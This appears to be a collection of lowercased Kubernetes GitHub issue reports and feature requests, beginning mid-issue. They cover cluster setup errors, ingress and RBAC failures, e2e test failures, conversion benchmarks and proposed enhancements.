reason     age                 from                           message\r   ----     ------     ----                ----                           -------\r   normal   scheduled  2m3s                default-scheduler              successfully assigned default/test-pod-1 to kind-1-control-plane\r   normal   pulling    11s  x6 over 2m2s   kubelet, kind-1-control-plane  pulling image \ busybox\ \r   normal   pulled     11s  x5 over 94s    kubelet, kind-1-control-plane  successfully pulled image \ busybox\ \r   warning  failed     11s  x5 over 94s    kubelet, kind-1-control-plane  error: container volumeinit not found\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-11-08t00:23:22z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r    \r $cat /etc/os-release \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r    \r $ docker exec -ti a369ddf016af uname -a\r linux kind-1-control-plane 4.15.0-45-generic  48~16.04.1-ubuntu smp tue jan 29 18:03:48 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

the /etc/sysconfig/network-scripts/ifcfg-en33 configuration file declares a mac address that does not match the one the device receives.          $ ./cluster/kube-up.sh     starting cluster using provider: vagrant     ... calling verify-prereqs     ... calling kube-up     using credentials: vagrant:vagrant     bringing machine 'master' up with 'vmware_fusion' provider...     bringing machine 'minion-1' up with 'vmware_fusion' provider...     ==> master: machine is already running.     ==> minion-1: cloning vmware vm: 'kube-fedora20'. this can take some time...     ==> minion-1: verifying vmnet devices are healthy...     ==> minion-1: preparing network adapters...     ==> minion-1: fixed port collision for 22 => 2222. now on port 2200.     ==> minion-1: starting the vmware vm...     ==> minion-1: waiting for machine to boot. this may take a few minutes...         minion-1: ssh address: 172.16.156.131:22         minion-1: ssh username: vagrant         minion-1: ssh auth method: private key         minion-1:         minion-1: vagrant insecure key detected. vagrant will automatically replace         minion-1: this with a newly generated keypair for better security.         minion-1:         minion-1: inserting generated public key within guest...         minion-1: removing insecure key from the guest if its present...         minion-1: key inserted! disconnecting and reconnecting using new ssh key...     ==> minion-1: machine booted and ready!     ==> minion-1: forwarding ports...         minion-1: -- 22 => 2200     ==> minion-1: configuring network adapters within the vm...     the following ssh command responded with a non-zero exit status.     vagrant assumes that this means the command failed!      /sbin/ifdown ens33      stdout from the command:      error    :  /etc/sysconfig/network-scripts/ifdown-eth  device ens33 has mac address 00:0c:29:96:3f:2c, instead of configured address 00:0c:29:16:5f:2b. ignoring.       stderr from the command:

i'm interested to have abac module to load the policy file directly from etcd. this is useful for a multi-apiserver ha setup as they're already using the same etcd cluster and having a policy file replicated to multiple nodes is just less clean.

we're seeing some failures for customers that upgrade to k8s 1.2 because the various addons now require more cluster node resources to run  i.e. https://github.com/kubernetes/kubernetes/issues/23556 . customers with high cluster utilization or small machine/node configuration may have situations where their v1.1 cluster no longer works properly after an upgrade to 1.2 because of this.  at the least, we need to track the resource utilization/reservation of addons, with a test that also fails if this increases  i.e. a test that schedules an \ almost all free resource\  pod that fails if kube-system pods resource use increases . any increase needs to be investigated and justified  it is a \ breaking change\  of sorts, since it may result in a non-working clusters for some customers .   related issues:  https://github.com/kubernetes/kubernetes/issues/13695 https://github.com/kubernetes/kubernetes/issues/13048

two problems, really 1. we're having trouble syncing the ig. 2. we're not warning the user.  no events.  context: trying to set up a simple 1-cluster service visible through an ingress before trying a federated version   29341 .      console % cluster/kubectl.sh describe svc echo name:                   echo namespace:              default labels:                 foo=bar selector:               foo=bar type:                   nodeport ip:                     10.0.39.17 port:                   <unset> 8080/tcp nodeport:               <unset> 31160/tcp endpoints:              10.181.1.19:80,10.181.1.20:80,10.181.1.21:80 + 2 more... session affinity:       none no events.  % cluster/kubectl.sh get -oyaml ing apiversion: v1 items: - apiversion: extensions/v1beta1   kind: ingress   metadata:     annotations:       ingress.kubernetes.io/backends: '{\ k8s-be-32474--afd6f841b2a344a1\ :\ unknown\ }'       ingress.kubernetes.io/forwarding-rule: k8s-fw-default-foobar--afd6f841b2a344a1       ingress.kubernetes.io/target-proxy: k8s-tp-default-foobar--afd6f841b2a344a1       ingress.kubernetes.io/url-map: k8s-um-default-foobar--afd6f841b2a344a1     creationtimestamp: 2016-07-21t22:44:44z     generation: 1     name: foobar     namespace: default     resourceversion: \ 3185\      selflink: /apis/extensions/v1beta1/namespaces/default/ingresses/foobar     uid: b7e58f13-4f94-11e6-9989-42010af00004   spec:     backend:       servicename: echo       serviceport: 80   status:     loadbalancer:       ingress:       - ip: 107.178.240.119 kind: list metadata: {} % cluster/kubectl.sh describe ing name:                   foobar namespace:              default address:                107.178.240.119 default backend:        echo:80  10.181.1.19:80,10.181.1.20:80,10.181.1.21:80 + 2 more...  rules:   host  path    backends   ----  ----    --------                 echo:80  10.181.1.19:80,10.181.1.20:80,10.181.1.21:80 + 2 more...  annotations:   backends:             {\ k8s-be-32474--afd6f841b2a344a1\ :\ unknown\ }   forwarding-rule:      k8s-fw-default-foobar--afd6f841b2a344a1   target-proxy:         k8s-tp-default-foobar--afd6f841b2a344a1   url-map:              k8s-um-default-foobar--afd6f841b2a344a1 events:   firstseen     lastseen        count   from                            subobjectpath   type            reason  message   ---------     --------        -----   ----                            -------------   --------        ------  -------   2m            2m              1       {loadbalancer-controller }                      normal          add     default/foobar   2m            2m              1       {loadbalancer-controller }                      normal          create  ip: 107.178.240.119      chasing down forwarding-rule->http-target-proxy->url-map->backend-services->instance-group  phew! ...      console % gcloud compute instance-groups unmanaged list name                      zone           network  managed  instances k8s-ig--afd6f841b2a344a1  us-central1-c           no       0 % gcloud compute instance-groups unmanaged describe k8s-ig--afd6f841b2a344a1 error:  gcloud.compute.instance-groups.unmanaged.describe  could not fetch resource:  - the resource 'projects/mml-fed/zones/us-central1-f/instancegroups/k8s-ig--afd6f841b2a344a1' was not found      here's some stuff from the gclb.log      i0721 22:44:44.042996       5 utils.go:335  could not find nodeport for backend {servicename:echo serviceport:{type:0 intval:80 strval:}}: could not find matching nodeport from service. i0721 22:44:44.120531       5 event.go:216  event api.objectreference{kind:\ ingress\ , namespace:\ default\ , name:\ foobar\ , uid:\ b7e58f13-4f94-11e6-9989-42010af00004\ , apiversion:\ extensions\ , resourceversion:\ 3171\ , fieldpath:\ \ } : type: 'normal' reason: 'add' default/foobar i0721 22:44:44.217092       5 instances.go:76  creating instance group k8s-ig--afd6f841b2a344a1 in zone us-central1-c i0721 22:44:47.937907       5 gce.go:1888  adding port 32474 to instance group k8s-ig--afd6f841b2a344a1 with 0 ports i0721 22:44:48.296726       5 backends.go:149  creating backend for 1 instance groups, port 32474 named port &{port32474 32474   } i0721 22:44:48.296820       5 utils.go:465  no pod in service default-http-backend with node port 32474 has declared a matching readiness probe for health checks. i0721 22:44:48.407596       5 healthchecks.go:62  creating health check k8s-be-32474--afd6f841b2a344a1 i0721 22:44:56.243088       5 loadbalancers.go:129  creating l7 default-foobar--afd6f841b2a344a1 i0721 22:44:56.917374       5 loadbalancers.go:302  creating url map k8s-um-default-foobar--afd6f841b2a344a1 for backend k8s-be-32474--afd6f841b2a344a1 i0721 22:45:01.100914       5 loadbalancers.go:318  creating new http proxy for urlmap k8s-um-default-foobar--afd6f841b2a344a1 i0721 22:45:05.420240       5 loadbalancers.go:455  creating forwarding rule for proxy  k8s-tp-default-foobar--afd6f841b2a344a1  and ip :80-80 i0721 22:45:09.371405       5 firewalls.go:85  deleting fireawll rule with suffix l7--afd6f841b2a344a1 i0721 22:45:09.529305       5 gce.go:1318  firewall l7--afd6f841b2a344a1 already deleted. continuing to delete other resources. i0721 22:45:13.743797       5 controller.go:383  updating loadbalancer default/foobar with ip 107.178.240.119 i0721 22:45:13.748860       5 event.go:216  event api.objectreference{kind:\ ingress\ , namespace:\ default\ , name:\ foobar\ , uid:\ b7e58f13-4f94-11e6-9989-42010af00004\ , apiversion:\ extensions\ , resourceversion:\ 3171\ , fieldpath:\ \ } : type: 'normal' reason: 'create' ip: 107.178.240.119 i0721 22:45:14.024616       5 backends.go:270  deleting instance group k8s-ig--afd6f841b2a344a1 i0721 22:45:14.024658       5 instances.go:104  deleting instance group k8s-ig--afd6f841b2a344a1 in zone us-central1-c e0721 22:45:14.200081       5 utils.go:151  requeuing default/foobar, err error during sync <nil>, error during gc  googleapi: error 400: the instance_group resource 'k8s-ig--afd6f841b2a344a1' is already being used by 'k8s-be-32474--afd6f841b2a344a1', resourceinusebyanotherresource  i0721 22:45:14.200168       5 utils.go:335  could not find nodeport for backend {servicename:echo serviceport:{type:0 intval:80 strval:}}: could not find matching nodeport from service. i0721 22:45:14.825101       5 firewalls.go:85  deleting fireawll rule with suffix l7--afd6f841b2a344a1 i0721 22:45:15.025140       5 gce.go:1318  firewall l7--afd6f841b2a344a1 already deleted. continuing to delete other resources. i0721 22:45:19.620797       5 backends.go:270  deleting instance group k8s-ig--afd6f841b2a344a1 i0721 22:45:19.623138       5 instances.go:104  deleting instance group k8s-ig--afd6f841b2a344a1 in zone us-central1-c e0721 22:45:19.787981       5 utils.go:151  requeuing default/foobar, err error during sync <nil>, error during gc  googleapi: error 400: the instance_group resource 'k8s-ig--afd6f841b2a344a1' is already being used by 'k8s-be-32474--afd6f841b2a344a1', resourceinusebyanotherresource   ...

today  kubefed  waits infinitely for its operations to complete. this is suboptimal. our tests, for example, take about 15 hours before the overall timeout. users probably face the same situation. we should introduce a hidden flag to allow time outs in tests for now and then promote it to a real flag and document it.\r \r this is a sub-issue of issue  41725.\r \r cc @kubernetes/sig-federation-feature-requests @csbell

  \r   what happened  :\r \r could create multiple resourcequota objects\r \r   what you expected to happen  :\r \r https://kubernetes.io/docs/concepts/policy/resource-quotas/ states  there should be at most one resourcequota object in a namespace. \r \r kubectl should fault if more than one  resourcequota  is attempted to be created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ kubectl create quota foo --hard=pods=100\r resourcequota \ foo\  created\r $ kubectl create quota bar --hard=pods=100\r resourcequota \ bar\  created\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t21:07:53z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r aws\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   feature proposal  :\r i would like to contribute a common smb also called cifs protocol  volume plugin, but not sure whether there is already some work on this.  there is already an implementation of smb azure file, but it's under cloudprovider directory and it depends on azure, while i would like to implement a common smb volue plugin.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

the current  documentation for taints and toleration  https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/  has a section on handling specialized hw. give that we now have a build in admission controller that standardizes how nodes with specialized hw are expected to be tainted  https://github.com/kubernetes/kubernetes/issues/55080 , it is important to document that as part of the existing taints and tolerations doc to improve visibility of that feature.\r \r @kubernetes/sig-scheduling-misc

 \r   what happened  :\r from  https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/conformance/run_test.sh \r conformance/run_test.sh doest not find kubeconfig file\r \r   what you expected to happen  :\r to find kubeconfig file\r \r   how to reproduce it  as minimally and precisely as possible   :\r  run_test.sh  from conformance file\r \r   anything else we need to know?  :\r \r line 185 : starting kubelet with args  ${kubelet_kubeconfig_dir}/kubelet.kubeconfig\  \r but  kubelet_kubeconfig_dir  does not exist.\r using  kubelet_kubeconfig=${kubelet_kubeconfig:-\ /var/lib/kubelet/kubeconfig\   from line 80 seems to work properly\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r > client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ archive\ , builddate:\ 2018-04-26t09:29:05z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ archive\ , builddate:\ 2018-04-26t09:29:05z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: hardware configuration\r - os  e.g. from /etc/os-release : fedora 28 server\r - kernel  e.g.  uname -a  : linux 4.17.12-200.fc28.x86_64\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r move some pods which run on high-load node to the new node.\r \r   why is this needed  :\r currently i have three nodes, there are many pods running on them, their cpu usage are 60%~70% and their momery usage are 60%~70%.\r \\---\r nodea: ready  65%\r nodeb: ready  65%\r nodec: ready  65%\r \\---\r for unknown reasons, a node was down ready->unready , its pods will be rebuilded. then others' cpu usage and memory usage will become to 90%~100%, they are very busy. it is easy to get some oom events.\r \\---\r nodea: ready    95%\r nodeb: ready    95%\r nodec: unready  0%\r \\---\r after a moment, the down node become ready unready->ready ,  but it has no pod. the result is: two nodes are very busy, a node is idle.\r \\---\r nodea: ready    95%\r nodeb: ready    95%\r nodec: ready    0%\r \\---\r \\---\r can we add an enhancement to move some lower  which run on high-load node to the new node?\r \\---\r

forked from  14554  brought up by @smarterclayton https://github.com/kubernetes/kubernetes/issues/14554 issuecomment-143976029  we don't have concrete numbers on what qps apiserver can support, and we also don't dynamically adjust client qps limits based on the cluster size. today the limit is often unnecessarily low in a smaller cluster for components such as kubelet. leveraging the apiserver backpressure may be better in the long term. this may also make it easier to surface the performance bottleneck, when there is one.

running a before  on top of  19047  and after with defaulting removed from our generated code  not generated , total conversion time drops significantly, and number of allocations is halved.      benchmark                                      old ns/op     new ns/op     delta benchmarkpodconversion-8                       14676         9143          -37.70% benchmarknodeconversion-8                      12712         7005          -44.89% benchmarkreplicationcontrollerconversion-8     15129         10460         -30.86%  benchmark                                      old allocs     new allocs     delta benchmarkpodconversion-8                       81             49             -39.51% benchmarknodeconversion-8                      74             38             -48.65% benchmarkreplicationcontrollerconversion-8     79             53             -32.91%  benchmark                                      old bytes     new bytes     delta benchmarkpodconversion-8                       9011          5170          -42.63% benchmarknodeconversion-8                      7267          3425          -52.87% benchmarkreplicationcontrollerconversion-8     9236          5906          -36.05%      we should only generate defaulting for objects that have them, and we should inline to public methods  like  19047  rather than going through reflection.  it's likely we can realize most of the before / after improvements with no reflection.  with protobuf in place   17922 , conversion is going to be the slowest part of decode/encode  ~9us for pod conversion, 6us for proto deserialize, 5us for defaulting, and 1-2us overhead .

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging-parallel/8715/  failed:  k8s.io  proxy version v1 should proxy logs on node with explicit kubelet port  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/proxy.go:63 expected error:     < errors.statuserror | 0xc820783380>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server has prevented the request from succeeding\ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ \ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ error: 'eof'\ trying to reach: 'https://10.240.0.7:10250/logs/'\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 503,         },     }     an error on the server has prevented the request from succeeding not to have occurred

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-pre-release/1130/  failed:  k8s.io  deployment iterative rollouts should eventually progress {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:104 expected error:     < errors.statuserror | 0xc420649d80>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ pods \\\ nginx-4291411366-tmyq0\\\  not found\ ,             reason: \ notfound\ ,             details: {                 name: \ nginx-4291411366-tmyq0\ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes: nil,                 retryafterseconds: 0,             },             code: 404,         },     }     pods \ nginx-4291411366-tmyq0\  not found not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1446       previous issues for this test:  36265  36353

kubectl drain: place noschedule taint, then do evictions as today\r kubectl uncordon: remove the taint\r \r ref/  25320\r \r @kubernetes/sig-scheduling-feature-requests \r cc/ @mml \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r   what you expected to happen  :\r right now, it's a manual process to update the exposed load balancer endpoint with dns, nsg, and etc. it could be automated by cloud provider through annotations on service resource, for instance:\r  azure.io.domainhost: foo  which will assign dns  foo.westus.cloudapp.azure.com \r likewise, if we have\r <pre>\r azure.io.nsg:\r    name: foo\r    access: allow\r    sourceaddressprefix:  \r    targetportrange: 80\r </pre>\r then the nsg of the exposed ip will be configured properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r i'm unable to set up a k8s cluster with rbac due authorization errors  guessing \r \r    \r $ journalctl -fu kube-controller-manager\r -- logs begin at mon 2017-08-07 14:42:49 pdt. --\r aug 07 15:24:31 k8s-master kube-controller-manager 18913 : i0807 15:24:31.467604   18913 ttlcontroller.go:269  failed to change ttl annotation for node k8s-master: user \ system:kube-controller-manager\  cannot patch nodes at the cluster scope.  patch nodes k8s-master \r aug 07 15:24:31 k8s-master kube-controller-manager 18913 : e0807 15:24:31.468274   18913 ttlcontroller.go:219  user \ system:kube-controller-manager\  cannot patch nodes at the cluster scope.  patch nodes k8s-master \r aug 07 15:24:33 k8s-master kube-controller-manager 18913 : i0807 15:24:33.624584   18913 ttlcontroller.go:269  failed to change ttl annotation for node k8s-node-2: user \ system:kube-controller-manager\  cannot patch nodes at the cluster scope.  patch nodes k8s-node-2 \r    \r nor set up kube-dns\r    \r $ kubectl describe deployment -n kube-system\r ...\r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                    -------------   --------        ------                  -------\r   48m           46m             16      deployment-controller                   warning         replicasetcreateerror   failed to create new replica set \ kube-dns-3143770262\ : user \ system:kube-controller-manager\  cannot create replicasets.extensions in the namespace \ kube-system\ .  post replicasets.extensions \r    \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r run each component with these options:\r    \r /usr/bin/kube-apiserver \\\r   --admission-control=namespacelifecycle,limitranger,serviceaccount,noderestriction,persistentvolumelabel,defaultstorageclass,resourcequota,defaulttolerationseconds \\\r   --advertise-address=fd00::0b \\\r   --allow-privileged=true \\\r   --authorization-mode=node,rbac \\\r   --bind-address=0.0.0.0 \\\r   --cert-dir=/var/run/kubernetes \\\r   --client-ca-file='/var/lib/kubernetes/ca-k8s.pem' \\\r   --enable-swagger-ui=false \\\r   --etcd-cafile='/var/lib/kubernetes/ca-etcd.pem' \\\r   --etcd-certfile='/var/lib/kubernetes/etcd-k8s-api-server.pem' \\\r   --etcd-keyfile='/var/lib/kubernetes/etcd-k8s-api-server-key.pem' \\\r   --etcd-servers=https:// fd00::0b :2379 \\\r   --kubelet-certificate-authority='/var/lib/kubernetes/ca-k8s.pem' \\\r   --kubelet-client-certificate='/var/lib/kubernetes/k8s-kubelet.pem' \\\r   --kubelet-client-key='/var/lib/kubernetes/k8s-kubelet-key.pem' \\\r   --kubelet-https \\\r   --service-cluster-ip-range=fd03::/112 \\\r   --service-node-port-range=30000-32767 \\\r   --tls-ca-file='/var/lib/kubernetes/ca-k8s.pem' \\\r   --tls-cert-file='/var/lib/kubernetes/k8s-api-server.pem' \\\r   --tls-private-key-file='/var/lib/kubernetes/k8s-api-server-key.pem' \\\r   --v=2\r    \r \r    \r /usr/bin/kubelet \\\r   --allow-privileged=true \\\r   --cloud-provider= \\\r   --cluster-dns=fd03::a \\\r   --cluster-domain=cluster.local \\\r   --container-runtime=docker \\\r   --docker=unix:///var/run/docker.sock \\\r   --kubeconfig=/var/lib/kubelet/kubelet.kubeconfig \\\r   --make-iptables-util-chains=false \\\r   --network-plugin=cni \\\r   --node-ip=fd00::0b \\\r   --register-node=true \\\r   --require-kubeconfig=true \\\r   --serialize-image-pulls=false \\\r   --v=2\r    \r \r    \r /usr/bin/kube-controller-manager \\\r   --cluster-cidr=fd02::c0a8:0000:0:0/96 \\\r   --cluster-name=kubernetes \\\r   --configure-cloud-routes=false \\\r   --kubeconfig='/var/lib/kubernetes/controller-manager.kubeconfig' \\\r   --leader-elect=true \\\r   --node-cidr-mask-size 112 \\\r   --use-service-account-credentials \\\r   --service-cluster-ip-range=fd03::/112 \\\r   --v=2\r    \r \r    \r /usr/bin/kube-scheduler --kubeconfig=/var/lib/kubernetes/scheduler.kubeconfig --v=2\r    \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   anything else we need to know?  :\r prs  43586 and  45551 were patched against  v1.7.3  and kubelet + kube-controller-manager are being executed with those patches in place. since those patches are ipv6 related, they should not affect the errors i'm seeing.\r \r   environment  :\r - cloud provider or hardware configuration  :  vagrant box \r - os  e.g. from /etc/os-release :  ubuntu 16.10 \r - kernel  e.g.  uname -a  :  linux cilium-k8s-master 4.9.17-040917-generic \r - install tools:\r - others:\r \r

  \r cronjob limits were defined in  52390 - however it doesn't appear that  failedjobshistorylimit  will reap cronjob pods that end up in a state of  error \r \r      kubectl get pods --show-all | grep cronjob | grep error | wc -l\r      566\r cronjob had  failedjobshistorylimit  set to 2\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-15t08:51:09z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release :\r \r centos7.3\r \r - kernel  e.g.  uname -a  :\r \r 4.4.83-1.el7.elrepo.x86_64  1 smp thu aug 17 09:03:51 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r

what happened  :\r i wrote a  prestop  hook and wanted to see the output of it, even if it succeeded. i therefore set the  pod.spec.containers.terminationmessagepath  to a file and wrote to that file in the hook.\r \r   what you expected to happen  :\r i expected what i wrote to the file to be exposed in the pod status message once it terminated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create this pod:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: test\r spec:\r   containers:\r   - command:\r     - /bin/sh\r     args:\r     - -c\r     - 'echo command > /tmp/log'\r     image: busybox\r     name: test\r     terminationmessagepath: /tmp/log\r     terminationmessagepolicy: file\r     lifecycle:\r       prestop:\r         exec:\r           command:\r           - '/bin/sh'\r           - '-c'\r           - 'echo hook > /tmp/log'\r   restartpolicy: never\r    \r \r run this:\r    sh\r $ kubectl create -f /tmp/pod.yaml\r pod \ test\  created\r $ kubectl get pod test -o jsonpath='{.status.containerstatuses ? @.name==\ test\   .state.terminated.message}'\r command\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+695f48a16f\ , gitcommit:\ d2e5420\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t19:30:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+695f48a16f\ , gitcommit:\ d2e5420\ , gittreestate:\ clean\ , builddate:\ 2017-08-30t13:35:56z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r  /cc @smarterclayton \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r --oidc-username-prefix option for api-server seems to not have any effect.\r the apiserver is running with --oidc-username-prefix=-, and if i'm changing clusterrolebinding username from prefix username to username, i'm still getting:\r \r    \r $ kubectl get nodes\r error from server  forbidden : nodes is forbidden: user \ https://test.cilogon.org http://cilogon.org/<user_id>\  cannot list nodes at the cluster scope\r    \r \r   what you expected to happen  :\r when using the \ --oidc-username-prefix=-\ , the username should be \ http://cilogon.org/<user_id>\ , without issuer prefix\r \r   how to reproduce it  as minimally and precisely as possible   :\r follow the steps to set up the oidc authentication, add \ --oidc-username-prefix=-\  to apiserver config file, restart kubelet, create client config for oidc, try \ kubeadm get nodes\ \r \r   anything else we need to know?  :\r i'm wondering if users are cached somewhere?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t19:11:02z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r kubeadm\r \r - os  e.g. from /etc/os-release :\r centos 7.4

